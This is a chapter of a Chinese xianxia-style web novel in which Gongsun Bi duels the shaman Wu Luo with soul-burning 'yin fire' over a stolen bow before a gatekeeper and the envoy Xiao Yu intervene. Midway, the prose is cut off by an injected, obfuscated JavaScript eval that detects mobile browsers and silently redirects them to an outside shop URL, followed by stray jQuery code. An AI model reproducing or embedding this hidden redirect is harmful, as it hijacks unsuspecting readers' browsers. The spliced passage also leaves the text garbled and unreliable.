“是你,”公孙璧有些意外,若有所思地打量她浑身溅射的荧光,笑问,“你奉命送的被褥呢?”
巫罗横眉凛目,压着嗓子用气声怒喝:“叛徒,受死!”
“你这话说的,我投的是灵山,又不是灵山的叛徒,”公孙璧又一个侧身躲过对面的横劈,“况且咱们素不相识,你哪来这么大仇?”
“…不忠之人,到哪里都不得善终,”巫罗再次打空,锄头砸地,忿忿地威胁道,“我不管你和销昱在谋划什么,休想打灵山的主意。”
“笑话,我又不是人,”公孙璧哼笑一声,饶有兴致地回敬,“不过灵山众巫觋倒是人类出身,不也背离了如今的人族,姑娘,你怎么连自己人都骂?”
“灵山的命运理应由灵山人决定,还轮不到外人置喙。”巫罗挥起锄头又要近她的身。
人族的命运,应该掌握在人族自己手里。
“……姑娘年纪不大,话倒是老成。”何其相似的话语。公孙璧不再躲闪,运起灵力将她的攻势弹开,笑着夸她,咬字力度重了些:“既然如此,让我见识一下,肩负灵山命运的人,是什么实力。”
巫罗被弹得向后趔趄了几步,双手执锄横在身前,警惕地端量公孙璧的举动。
“巫礼告诉我,这个地方禁明火。我和他相处得还算愉快,我得给他这个面子,”公孙璧悠哉游哉地拨弄耳后乱发,“那么,阴火,如何?”她说完,猛地发狠,往地上光斑踏了一步。蓝绿色的荧光上陡然升起蓝色的火苗,顺着一地荧光蔓延,顷刻覆盖满地。
巫罗瞪大了眼睛,下意识后撤。蓝火却极快地咬了过来,点燃了巫罗裳摆上的荧光。
“刚才隔门斗法,你若有自知之明,就应该清楚自己的斤两。以卵击石,我敬你的勇气。”看着巫罗惊慌拍火,公孙璧自一地的蓝火中步步逼近。蓝光映在她的脸上。她故意夸张地咧开嘴角,借着蓝光让自己看起来更加狰狞可怖,直勾勾地盯着巫罗逗,“看你也是个玩火的,怎么,没见过阴火?”
突然,上一刻还惊慌的巫罗抡起锄头又朝她劈来。公孙璧故技重施,试图用灵力屏障再次将对方顶飞。不曾想这次锄头附满了灵力,威力大增。公孙璧一时大意失守,忙闪避护住身前。巫罗却趁机抡着锄头换了个方向,砍在公孙璧背弓绑带上。
梆!一声脆响,绑带断裂,神弓掉在地上。巫罗眼疾手快地从满地蓝火中抄起神弓,夺门而逃。
“……哈,哈。”公孙璧咬紧牙关,眯起眼皮锁住巫罗的背影,抬手一掌隔空轰去。巫罗痛呼一声,踉跄地继续往前跑,不料一阵疾风掠过,公孙璧已瞬移至她眼前,凭空迸力,将她推了回去。
“很好,很好,很有精神,”公孙璧这次发自内心地狞笑,内心又给销昱记了一笔账,“听说此弓灵山无人能碰,看来是句空谈了。”
巫罗站定,原地拉开架势,一手握弓,一手荷锄,“灵山的命运,只能掌握在我们自己手里,”她又重复了一次,执弓威胁道,“让开,或者玉石俱焚。”
“你可以试试。”公孙璧挥手催动蓝火。火焰顺着巫罗的衣裳燃烧,瞬时爬满她的全身。
巫罗一动不动。阴火的温度伤不了人。她冷哼一声:“这也配叫火么?”
“看来你是真的不知阴火。果然,无知者无畏,”公孙璧压抑着怒气,绷着脸皮拧出笑容,慢条斯理地控制蓝火发力,“今日我就让你开开眼,教教你什么是天高地厚。”
巫罗张嘴欲驳,忽然僵住,嗔目欲裂地瘫倒在地,蜷成一团发不出声音。
“明火烧身,阴火烧魂,”公孙璧的心情好转了一些,动动手指拨弄火力,“如果我想,你立马就会变成空壳一具。”
“手下留情。”一种诡异的磨嗓声蓦地在拐角后面响起,像齿锯来回剌树皮,激得公孙璧寒毛倒立。与之一同响起的,还有先前与巫罗交手的窸窸窣窣声,由远及近。
公孙璧往拐角处望去,只见一只硕大的螃蟹迈着尖细的腿从拐角处转来,发出窸窸窣窣的地板摩擦声;嘴里吐着蓝绿色的荧光泡泡,流了一地,化为照明的水渍,与先前巫礼留下的荧光别无二致。螃蟹的背上模模糊糊地坐着一团人影。人影通身裹着深色的袍子。光线幽微,公孙璧看不真切来者的脸。
“何人?”公孙璧冷声厉喝。
“我是这里的守门人。孙姑娘消消气,”人影艰难干哑着嗓子,艰难发声,“年轻人莽撞,还望姑娘不要与她计较。”
“呵,先兵后礼是你们灵山的传统吗?”公孙璧转身,手里掐着一团阴火持续施力,没好气地讥讽停在火场外围的一人一蟹。
“孙姑娘来得匆忙,未及时向众巫觋传达姑娘的身份,是灵山的疏忽,”人影客客气气地拉扯着嗓子,“巫罗不知姑娘是灵山的贵客,冒犯了姑娘。我必会禀明巫咸,请他施以惩戒,为姑娘出气。”
公孙璧想起了巫咸那条神出鬼没的青蛇,斟酌片刻,将话题引向销昱:“我是销公子带来的人,看来你们的这位圣使,在你们心里没什么分量啊。”
“圣使乃下凡的神明,灵山上下岂敢不尊。只是圣使离山有一段日子了,久不熟悉山中事务。今日突然回山,灵山上下同样疏于接引,”人影的嗓子剌得越发厉害,听不出语气,但语速越发急促,“今夜姑娘受惊了,我在此替巫罗向姑娘赔礼,还请姑娘收回法力,饶她性命。”
公孙璧瞥向一声不吭挣扎着的巫罗,淡淡回她:“只要她放下我的东西,我也懒得多管闲事。”
“…巫罗,放手。”人影努力润润嗓子,命令巫罗。
趴在地上的巫罗仍然抓紧弓身,死咬牙关怒视公孙璧,额上汗珠如雨扑簌落入火里。
“……不自量力。”公孙璧向来欣
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17841138|211653||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
赏这种硬骨头。不过眼下,愤怒比欣赏要多。她抬手掐诀,作势又要加力。
“巫罗!”人影加大声量,“你连我的话都不听了吗?放手!”座下螃蟹也躁动起来,六只尖爪不安地划拉地面,发出窸窸窣窣的脚步声。
僵持一会儿后,巫罗终于松开手。神弓落地,满地火熄。
公孙璧走到她面前,将神弓捡起细细检查一番,小心地把神弓重新背回背上。
“巫姑,”巫罗缓过来一些,扶着墙站起来,不甘心地抬头对人影控诉,“不能让他们继续利用灵山……”
“闭嘴!咳咳咳…”人影有些激动地呵斥,脆弱的声带不受刺激,激起一阵咳嗽,“我已经不在十巫之列,不许这么叫我!”
真有意思。神弓返手,公孙璧气消了大半,又开始看起戏来。她悄悄四顾墙上门板,又数了一遍。一共九扇,五扇上了栓,唯一的双门在刚才被毁掉了。
“那么怎么称呼你呢?”公孙璧又挂上亲和的笑容,柔声问蟹上人影。
“…我没有名字,久居这山谷楼阁,姑娘叫我山女就好,”那人喘匀气息,摸摸被咳嗽声引得再次躁动的螃蟹,把声音放轻,“此处残局自有人来收拾,姑娘请移步到我那里安歇。”
“慢着。”楼下大门响了两声。两支脚步急匆匆窜上了楼,出现在拐角处。
公孙璧听出了其中一人的声音。众人探头之际,拐角处出现了两个熟悉的人影。
“圣使。”公孙璧先一步叫出来人的身份。她怒从心起,面上和煦,阴阳怪气:“你也是来给我送被褥的吗?”
销昱顿了一下,匆匆走过长廊,环顾了一圈现场情况。跟在他身后的,是之前引公孙璧到此的巫礼。巫礼跟在销昱后面快步走来,停在那只大螃蟹身边。山女见此,扭头示意他往前去。巫礼不动声色地走进零落的荧光中,搀扶住靠墙歇息的巫罗。
“孙姑娘受惊了,我这就将巫罗带去面见巫咸。”巫礼拽紧巫罗的胳膊,拉着她往外走。巫罗地抿紧嘴唇,擦肩而过时,心有不甘地瞟了一眼公孙璧。
公孙璧的眼睛却没放在巫罗身上。她注意到巫礼衣摆内侧沾到的一块荧光。“刚才还说我来得匆忙疏于接应,这会儿消息倒是灵通…”公孙璧提高了声调,冲销昱冷笑,“灵山若是不愿留我,大可把话讲开,何必半夜搞小动作?”她转头直直对上巫罗的视线:“派的还是个毛丫头。”
“哼,我还不至于被人利用……”巫罗反唇相讥,再次被山女打断。“巫罗!”山女的声音虚弱了些。她努力维持声音的稳定,催促巫礼:“把她带走。”
巫礼颔首领命,拉着闭上嘴的巫罗快速离去。
“见过圣使。”山女这才把注意力放在销昱身上,拍拍蟹背。螃蟹听话地蹲身行礼。
“请起,”销昱躬身回礼,“你…不用向我行礼。”